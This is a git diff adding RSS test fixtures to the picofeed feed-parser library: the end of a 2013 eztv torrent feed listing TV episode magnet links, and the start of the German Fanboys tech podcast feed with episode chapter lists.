+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 15:10:45 -0500</pubDate>
+ <description><![CDATA[Show Name: Thames Television The Life and Times of Lord Mountbatten; Episode Title: The Last Viceroy; Season: 1; Episode: 9]]></description>
+ <enclosure url="http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.09of12.The.Last.Viceroy.XviD.AC3.[MVGroup.org].torrent" length="824094720" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45215/</comments>
+ <guid>http://eztv.it/ep/45215/thames-television-the-life-and-times-of-lord-mountbatten-09of12-the-last-viceroy-xvid-ac3-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.09of12.The.Last.Viceroy.XviD.AC3-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>824094720</contentLength>
+ <infoHash>C768C6BE484B688B9BF3C3F07CC03BF5F6D24F7A</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:C768C6BE484B688B9BF3C3F07CC03BF5F6D24F7A&dn=Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.09of12.The.Last.Viceroy.XviD.AC3-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Zero Hour US 1x9 [HDTV - SKGTV]]]></title>
+ <link>http://torrent.zoink.it/Zero.Hour.US.S01E09.HDTV.X264-SKGTV.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/786/zero-hour-us/"><![CDATA[TV Show / Zero Hour (US)]]></category>
+ <pubDate>Tue, 28 May 2013 14:31:39 -0500</pubDate>
+ <description><![CDATA[Show Name: Zero Hour US; Episode Title: N/A; Season: 1; Episode: 9]]></description>
+ <enclosure url="http://torrent.zoink.it/Zero.Hour.US.S01E09.HDTV.X264-SKGTV.[eztv].torrent" length="269843422" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45214/</comments>
+ <guid>http://eztv.it/ep/45214/zero-hour-us-s01e09-hdtv-x264-skgtv/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Zero.Hour.US.S01E09.HDTV.X264-SKGTV.[eztv].torrent]]></fileName>
+ <contentLength>269843422</contentLength>
+ <infoHash>41E01EA7C07E9C5251D1AA5A3D34E20A177FB746</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:IHQB5J6AP2OFEUORVJND2NHCBILX7N2G&dn=Zero.Hour.US.S01E09.HDTV.X264-SKGTV]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Some Assembly Required Series 2 - Making Bread 1x9 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/Some.Assembly.Required.Series.2.09of12.Making.Bread.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 13:58:54 -0500</pubDate>
+ <description><![CDATA[Show Name: Some Assembly Required Series 2; Episode Title: Making Bread; Season: 1; Episode: 9]]></description>
+ <enclosure url="http://torrent.zoink.it/Some.Assembly.Required.Series.2.09of12.Making.Bread.DVDRip.x264.AAC.[MVGroup.org].torrent" length="247696085" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45213/</comments>
+ <guid>http://eztv.it/ep/45213/some-assembly-required-series-2-09of12-making-bread-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Some.Assembly.Required.Series.2.09of12.Making.Bread.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>247696085</contentLength>
+ <infoHash>F177745F2B3F16F336CF6F0155D7C6CD42DC6FBD</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:F177745F2B3F16F336CF6F0155D7C6CD42DC6FBD&dn=Some.Assembly.Required.Series.2.09of12.Making.Bread.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBC Archaeology A Secret History - The Search for Civilisation 1x2 [PDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBC.Archaeology.A.Secret.History.2of3.The.Search.for.Civilisation.PDTV.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 12:58:41 -0500</pubDate>
+ <description><![CDATA[Show Name: BBC Archaeology A Secret History; Episode Title: The Search for Civilisation; Season: 1; Episode: 2]]></description>
+ <enclosure url="http://torrent.zoink.it/BBC.Archaeology.A.Secret.History.2of3.The.Search.for.Civilisation.PDTV.x264.AAC.[MVGroup.org].torrent" length="776705361" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45212/</comments>
+ <guid>http://eztv.it/ep/45212/bbc-archaeology-a-secret-history-2of3-the-search-for-civilisation-pdtv-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBC.Archaeology.A.Secret.History.2of3.The.Search.for.Civilisation.PDTV.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>776705361</contentLength>
+ <infoHash>0B852C511FD6D5F6D3EB15930D2B2F37DC4324C6</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:0B852C511FD6D5F6D3EB15930D2B2F37DC4324C6&dn=BBC.Archaeology.A.Secret.History.2of3.The.Search.for.Civilisation.PDTV.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBC Blackadder Rides Again [576P - HDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBC.Blackadder.Rides.Again.576p.x264.AAC.HDTV.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 11:29:18 -0500</pubDate>
+ <description><![CDATA[Show Name: BBC Blackadder Rides Again; Episode Title: N/A; Episode Date: ]]></description>
+ <enclosure url="http://torrent.zoink.it/BBC.Blackadder.Rides.Again.576p.x264.AAC.HDTV.[MVGroup.org].torrent" length="663622048" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45211/</comments>
+ <guid>http://eztv.it/ep/45211/bbc-blackadder-rides-again-576p-x264-aac-hdtv-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBC.Blackadder.Rides.Again.576p.x264.AAC.HDTV-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>663622048</contentLength>
+ <infoHash>84B793AA94AD8A752F661BD4CBC0460DA494E397</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:84B793AA94AD8A752F661BD4CBC0460DA494E397&dn=BBC.Blackadder.Rides.Again.576p.x264.AAC.HDTV-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBC Soillse - 20 in the Med 20x13 [PDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBC.Soillse.2013.20.in.the.Med.PDTV.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 10:13:57 -0500</pubDate>
+ <description><![CDATA[Show Name: BBC Soillse; Episode Title: 20 in the Med; Season: 20; Episode: 13]]></description>
+ <enclosure url="http://torrent.zoink.it/BBC.Soillse.2013.20.in.the.Med.PDTV.x264.AAC.[MVGroup.org].torrent" length="705438782" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45210/</comments>
+ <guid>http://eztv.it/ep/45210/bbc-soillse-2013-20-in-the-med-pdtv-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBC.Soillse.2013.20.in.the.Med.PDTV.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>705438782</contentLength>
+ <infoHash>961E91A4C404E7F039E512E32BCE7C4F6BCED3C8</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:961E91A4C404E7F039E512E32BCE7C4F6BCED3C8&dn=BBC.Soillse.2013.20.in.the.Med.PDTV.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Revolution 2012 1x19 [720P - HDTV - DIMENSION]]]></title>
+ <link>http://torrent.zoink.it/Revolution.2012.S01E19.720p.HDTV.X264-DIMENSION.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/681/revolution-2012/"><![CDATA[TV Show / Revolution (2012)]]></category>
+ <pubDate>Tue, 28 May 2013 08:54:50 -0500</pubDate>
+ <description><![CDATA[Show Name: Revolution 2012; Episode Title: N/A; Season: 1; Episode: 19]]></description>
+ <enclosure url="http://torrent.zoink.it/Revolution.2012.S01E19.720p.HDTV.X264-DIMENSION.[eztv].torrent" length="789642929" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45208/</comments>
+ <guid>http://eztv.it/ep/45208/revolution-2012-s01e19-720p-hdtv-x264-dimension/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Revolution.2012.S01E19.720p.HDTV.X264-DIMENSION.[eztv].torrent]]></fileName>
+ <contentLength>789642929</contentLength>
+ <infoHash>E4B13D1FC3EAC17A713E9E70A3C4A60B417BEE2B</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:4SYT2H6D5LAXU4J6TZYKHRFGBNAXX3RL&dn=Revolution.2012.S01E19.720p.HDTV.X264-DIMENSION]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[5 inch Floppy - Blade Symphony And Assault Android Cactus 4x12 [HDTV - 5IF]]]></title>
+ <link>http://torrent.zoink.it/5.inch.Floppy.S04E12.Blade.Symphony.And.Assault.Android.Cactus.HDTV.H264-5IF.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/482/5-inch-floppy/"><![CDATA[TV Show / 5 inch Floppy]]></category>
+ <pubDate>Tue, 28 May 2013 08:47:28 -0500</pubDate>
+ <description><![CDATA[Show Name: 5 inch Floppy; Episode Title: Blade Symphony And Assault Android Cactus; Season: 4; Episode: 12]]></description>
+ <enclosure url="http://torrent.zoink.it/5.inch.Floppy.S04E12.Blade.Symphony.And.Assault.Android.Cactus.HDTV.H264-5IF.[eztv].torrent" length="113188270" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45207/</comments>
+ <guid>http://eztv.it/ep/45207/5-inch-floppy-s04e12-blade-symphony-and-assault-android-cactus-hdtv-h264-5if/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[5.inch.Floppy.S04E12.Blade.Symphony.And.Assault.Android.Cactus.HDTV.H264-5IF.[eztv].torrent]]></fileName>
+ <contentLength>113188270</contentLength>
+ <infoHash>18A1997F0AFBE26F2F9F28C1E3BD52F2032DAB58</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:DCQZS7YK7PRG6L47FDA6HPKS6IBS3K2Y&dn=5.inch.Floppy.S04E12.Blade.Symphony.And.Assault.Android.Cactus.HDTV.H264-5IF]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Craig Ferguson - Sir Ben Kingsley 2013-05-27 [HDTV - 2HD]]]></title>
+ <link>http://torrent.zoink.it/Craig.Ferguson.2013.05.27.Sir.Ben.Kingsley.HDTV.x264-2HD.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/358/craig-ferguson/"><![CDATA[TV Show / Craig Ferguson]]></category>
+ <pubDate>Tue, 28 May 2013 08:36:11 -0500</pubDate>
+ <description><![CDATA[Show Name: Craig Ferguson; Episode Title: Sir Ben Kingsley; Episode Date: 2013-05-27]]></description>
+ <enclosure url="http://torrent.zoink.it/Craig.Ferguson.2013.05.27.Sir.Ben.Kingsley.HDTV.x264-2HD.[eztv].torrent" length="324366904" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45205/</comments>
+ <guid>http://eztv.it/ep/45205/craig-ferguson-2013-05-27-sir-ben-kingsley-hdtv-x264-2hd/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Craig.Ferguson.2013.05.27.Sir.Ben.Kingsley.HDTV.x264-2HD.[eztv].torrent]]></fileName>
+ <contentLength>324366904</contentLength>
+ <infoHash>22598950F3E656BD975F7C3CB9A5F3B8159AD908</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:EJMYSUHT4ZLL3F27PQ6LTJPTXAKZVWII&dn=Craig.Ferguson.2013.05.27.Sir.Ben.Kingsley.HDTV.x264-2HD]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[National Geographic Meet the Natives USA - The Cowboy People 1x1 [PDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/National.Geographic.Meet.the.Natives.USA.1of5.The.Cowboy.People.PDTV.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 08:09:06 -0500</pubDate>
+ <description><![CDATA[Show Name: National Geographic Meet the Natives USA; Episode Title: The Cowboy People; Season: 1; Episode: 1]]></description>
+ <enclosure url="http://torrent.zoink.it/National.Geographic.Meet.the.Natives.USA.1of5.The.Cowboy.People.PDTV.x264.AAC.[MVGroup.org].torrent" length="485301890" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45204/</comments>
+ <guid>http://eztv.it/ep/45204/national-geographic-meet-the-natives-usa-1of5-the-cowboy-people-pdtv-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[National.Geographic.Meet.the.Natives.USA.1of5.The.Cowboy.People.PDTV.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>485301890</contentLength>
+ <infoHash>7B0A99439B49837874E17A83C5260A6216D4ADBC</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:7B0A99439B49837874E17A83C5260A6216D4ADBC&dn=National.Geographic.Meet.the.Natives.USA.1of5.The.Cowboy.People.PDTV.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BSkyB Ladyboys Series 2 1x5 [PDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BSkyB.Ladyboys.Series.2.5of5.PDTV.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 06:15:01 -0500</pubDate>
+ <description><![CDATA[Show Name: BSkyB Ladyboys Series 2; Episode Title: N/A; Season: 1; Episode: 5]]></description>
+ <enclosure url="http://torrent.zoink.it/BSkyB.Ladyboys.Series.2.5of5.PDTV.x264.AAC.[MVGroup.org].torrent" length="703038026" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45203/</comments>
+ <guid>http://eztv.it/ep/45203/bskyb-ladyboys-series-2-5of5-pdtv-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BSkyB.Ladyboys.Series.2.5of5.PDTV.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>703038026</contentLength>
+ <infoHash>1CBBA05C502482BDA5DB8C4D417C11750B6E8590</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:1CBBA05C502482BDA5DB8C4D417C11750B6E8590&dn=BSkyB.Ladyboys.Series.2.5of5.PDTV.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Thames Television The Life and Times of Lord Mountbatten - The Meaning of Victory 1x8]]></title>
+ <link>http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.08of12.The.Meaning.of.Victory.XviD.AC3.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 04:57:21 -0500</pubDate>
+ <description><![CDATA[Show Name: Thames Television The Life and Times of Lord Mountbatten; Episode Title: The Meaning of Victory; Season: 1; Episode: 8]]></description>
+ <enclosure url="http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.08of12.The.Meaning.of.Victory.XviD.AC3.[MVGroup.org].torrent" length="824188928" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45202/</comments>
+ <guid>http://eztv.it/ep/45202/thames-television-the-life-and-times-of-lord-mountbatten-08of12-the-meaning-of-victory-xvid-ac3-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.08of12.The.Meaning.of.Victory.XviD.AC3-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>824188928</contentLength>
+ <infoHash>0AD782B37724BD8F8988FE277CE7103752BB7EC4</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:0AD782B37724BD8F8988FE277CE7103752BB7EC4&dn=Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.08of12.The.Meaning.of.Victory.XviD.AC3-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Some Assembly Required Series 2 - Peterbilt Trucks 1x8 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/Some.Assembly.Required.Series.2.08of12.Peterbilt.Trucks.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 03:55:43 -0500</pubDate>
+ <description><![CDATA[Show Name: Some Assembly Required Series 2; Episode Title: Peterbilt Trucks; Season: 1; Episode: 8]]></description>
+ <enclosure url="http://torrent.zoink.it/Some.Assembly.Required.Series.2.08of12.Peterbilt.Trucks.DVDRip.x264.AAC.[MVGroup.org].torrent" length="247606900" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45201/</comments>
+ <guid>http://eztv.it/ep/45201/some-assembly-required-series-2-08of12-peterbilt-trucks-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Some.Assembly.Required.Series.2.08of12.Peterbilt.Trucks.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>247606900</contentLength>
+ <infoHash>C1A7AB6E61A1BD0E5B6FD1274AA07A1A5CC63038</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:C1A7AB6E61A1BD0E5B6FD1274AA07A1A5CC63038&dn=Some.Assembly.Required.Series.2.08of12.Peterbilt.Trucks.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBC Secret Knowledge - The Art of the Vikings 810p 20x13 [HDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBC.Secret.Knowledge.2013.The.Art.of.the.Vikings.810p.x264.AAC.HDTV.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 02:55:47 -0500</pubDate>
+ <description><![CDATA[Show Name: BBC Secret Knowledge; Episode Title: The Art of the Vikings 810p; Season: 20; Episode: 13]]></description>
+ <enclosure url="http://torrent.zoink.it/BBC.Secret.Knowledge.2013.The.Art.of.the.Vikings.810p.x264.AAC.HDTV.[MVGroup.org].torrent" length="508772179" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45200/</comments>
+ <guid>http://eztv.it/ep/45200/bbc-secret-knowledge-2013-the-art-of-the-vikings-810p-x264-aac-hdtv-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBC.Secret.Knowledge.2013.The.Art.of.the.Vikings.810p.x264.AAC.HDTV-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>508772179</contentLength>
+ <infoHash>52635B9BAA1EF90FD070E78317DDBE29603AD7A1</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:52635B9BAA1EF90FD070E78317DDBE29603AD7A1&dn=BBC.Secret.Knowledge.2013.The.Art.of.the.Vikings.810p.x264.AAC.HDTV-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ </channel>
+</rss>
+<!-- live --> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/fanboys.fm_episodes.all.mp3.rss b/vendor/fguillot/picofeed/tests/fixtures/fanboys.fm_episodes.all.mp3.rss
new file mode 100644
index 000000000..e6934aab3
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/fanboys.fm_episodes.all.mp3.rss
@@ -0,0 +1,10426 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sc="http://podlove.org/simple-chapters" version="2.0">
+ <channel>
+ <title>Fanboys</title>
+ <link>http://fanboys.fm</link>
+ <atom:link href="http://fanboys.fm/episodes.mp3.rss" rel="self" type="application/rss+xml" title="MP3 Audio"/>
+ <atom:link rel="alternate" href="http://fanboys.fm/episodes.m4a.rss" type="application/rss+xml" title="M4A Audio"/>
+ <language>de-de</language>
+ <copyright>cc-by-nc-sa</copyright>
+ <itunes:subtitle>Wayne's World for radio</itunes:subtitle>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:summary>Regelmässiges Kaffeekränzchen in Sachen Nerdkram</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <description>Regelmässiges Kaffeekränzchen in Sachen Nerdkram</description>
+ <itunes:owner>
+ <itunes:name>fanboys</itunes:name>
+ <itunes:email>all@fanboys.fm</itunes:email>
+ </itunes:owner>
+ <itunes:image href="http://fanboys.fm/images/cover.jpg"/>
+ <itunes:category text="Technology"/>
+ <itunes:category text="Technology">
+ <itunes:category text="Gadgets"/>
+ </itunes:category>
+ <itunes:category text="Technology">
+ <itunes:category text="Tech News"/>
+ </itunes:category>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2Fepisodes.mp3.rss&amp;user_id=map&amp;title=Fanboys%20Feed&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <item>
+ <title>Episode #166 - Wir sind alle älter als Jesus</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Wir sind alle älter als Jesus</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN166.mp3" length="25120988" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN166</guid>
+ <pubDate>Thu, 22 May 2014 16:23:27 +0200</pubDate>
+ <itunes:duration>00:55:16</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:35 Heathrow Terminal "Samsung S5"
+00:06:47 Apple springt endlich auf WebGL Zug auf
+00:09:33 Apple WWDC App Update und Schedule
+00:17:02 Fuck This Jam
+00:18:29 Super Game Jam
+00:22:19 Twitter kauft (nicht) SoundCloud
+00:22:23 Google kauft (vielleicht) Twitch
+00:28:43 iMessage abmelden
+00:32:00 Ebay Passwortschwund
+00:32:29 1Password Watchtower
+00:35:27 MBP Image Retention
+00:35:35 Nidhogg
+00:38:17 Kero Blaster
+00:41:17 Notifyr
+00:45:08 Grimme Online Award
+00:52:47 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:35</td><td><a href="http://www.imore.com/heathrow-says-signage-branding-havent-changed-terminal-samsung-galaxy-s5-tongue-cheek" target="_blank">Heathrow Terminal "Samsung S5"</td></tr><tr><td>00:06:47</td><td><a href="http://blog.playcanvas.com/apple-embraces-webgl/" target="_blank">Apple springt endlich auf WebGL Zug auf</td></tr><tr><td>00:09:33</td><td><a href="https://developer.apple.com/wwdc/schedule/sessions/" target="_blank">Apple WWDC App Update und Schedule</td></tr><tr><td>00:17:02</td><td><a href="http://fuckthisjam.com" target="_blank">Fuck This Jam</td></tr><tr><td>00:18:29</td><td><a href="http://supergamejam.com" target="_blank">Super Game Jam</td></tr><tr><td>00:22:19</td><td><a href="https://recode.net/2014/05/19/twitter-is-considering-a-deal-to-buy-soundcloud/" target="_blank">Twitter kauft (nicht) SoundCloud</td></tr><tr><td>00:22:23</td><td><a href="http://recode.net/2014/05/18/why-a-youtube-twitch-marriage-makes-sense/" target="_blank">Google kauft (vielleicht) Twitch</td></tr><tr><td>00:28:43</td><td><a href="http://9to5mac.com/2014/05/22/apple-formally-acknowledges-imessage-issue-says-bug-fix-coming-in-a-future-software-update/" target="_blank">iMessage abmelden</td></tr><tr><td>00:32:00</td><td><a href="https://www.paypal-community.com/t5/PayPal-Forward/eBay-To-Ask-Users-to-Change-Their-Passwords-No-Evidence-PayPal/ba-p/815612" target="_blank">Ebay Passwortschwund</td></tr><tr><td>00:32:29</td><td><a href="http://watchtower.agilebits.com" target="_blank">1Password Watchtower</td></tr><tr><td>00:35:27</td><td>MBP Image Retention</td></tr><tr><td>00:35:35</td><td><a href="http://www.nidhogggame.com" target="_blank">Nidhogg</td></tr><tr><td>00:38:17</td><td><a href="https://itunes.apple.com/us/app/id867598817?mt=8&amp;at=11lqBB&amp;ct=fanboys" target="_blank">Kero Blaster</td></tr><tr><td>00:41:17</td><td><a href="http://getnotifyr.com" target="_blank">Notifyr</td></tr><tr><td>00:45:08</td><td><a href="http://www.tvspielfilm.de/gewinnspiele/grimme/abstimmung/" target="_blank">Grimme Online Award</td></tr><tr><td>00:52:47</td><td><a href="https://www.youtube.com/watch?v=vtr5q6dn7CA" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:35" title="Heathrow Terminal Samsung S5" href="http://www.imore.com/heathrow-says-signage-branding-havent-changed-terminal-samsung-galaxy-s5-tongue-cheek" />
+ <sc:chapter start="00:06:47" title="Apple springt endlich auf WebGL Zug auf" href="http://blog.playcanvas.com/apple-embraces-webgl/" />
+ <sc:chapter start="00:09:33" title="Apple WWDC App Update und Schedule" href="https://developer.apple.com/wwdc/schedule/sessions/" />
+ <sc:chapter start="00:17:02" title="Fuck This Jam" href="http://fuckthisjam.com" />
+ <sc:chapter start="00:18:29" title="Super Game Jam" href="http://supergamejam.com" />
+ <sc:chapter start="00:22:19" title="Twitter kauft (nicht) SoundCloud" href="https://recode.net/2014/05/19/twitter-is-considering-a-deal-to-buy-soundcloud/" />
+ <sc:chapter start="00:22:23" title="Google kauft (vielleicht) Twitch" href="http://recode.net/2014/05/18/why-a-youtube-twitch-marriage-makes-sense/" />
+ <sc:chapter start="00:28:43" title="iMessage abmelden" href="http://9to5mac.com/2014/05/22/apple-formally-acknowledges-imessage-issue-says-bug-fix-coming-in-a-future-software-update/" />
+ <sc:chapter start="00:32:00" title="Ebay Passwortschwund" href="https://www.paypal-community.com/t5/PayPal-Forward/eBay-To-Ask-Users-to-Change-Their-Passwords-No-Evidence-PayPal/ba-p/815612" />
+ <sc:chapter start="00:32:29" title="1Password Watchtower" href="http://watchtower.agilebits.com" />
+ <sc:chapter start="00:35:27" title="MBP Image Retention" />
+ <sc:chapter start="00:35:35" title="Nidhogg" href="http://www.nidhogggame.com" />
+ <sc:chapter start="00:38:17" title="Kero Blaster" href="https://itunes.apple.com/us/app/id867598817?mt=8&amp;at=11lqBB&amp;ct=fanboys" />
+ <sc:chapter start="00:41:17" title="Notifyr" href="http://getnotifyr.com" />
+ <sc:chapter start="00:45:08" title="Grimme Online Award" href="http://www.tvspielfilm.de/gewinnspiele/grimme/abstimmung/" />
+ <sc:chapter start="00:52:47" title="Rausschmeisser" href="https://www.youtube.com/watch?v=vtr5q6dn7CA" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23166&amp;user_id=map&amp;title=Fanboys%20Episode%20166&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#166:" />
+ </item>
+ <item>
+ <title>Episode #165 - Snowden ist das neue Schlumpfen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Snowden ist das neue Schlumpfen</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN165.mp3" length="26995312" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN165</guid>
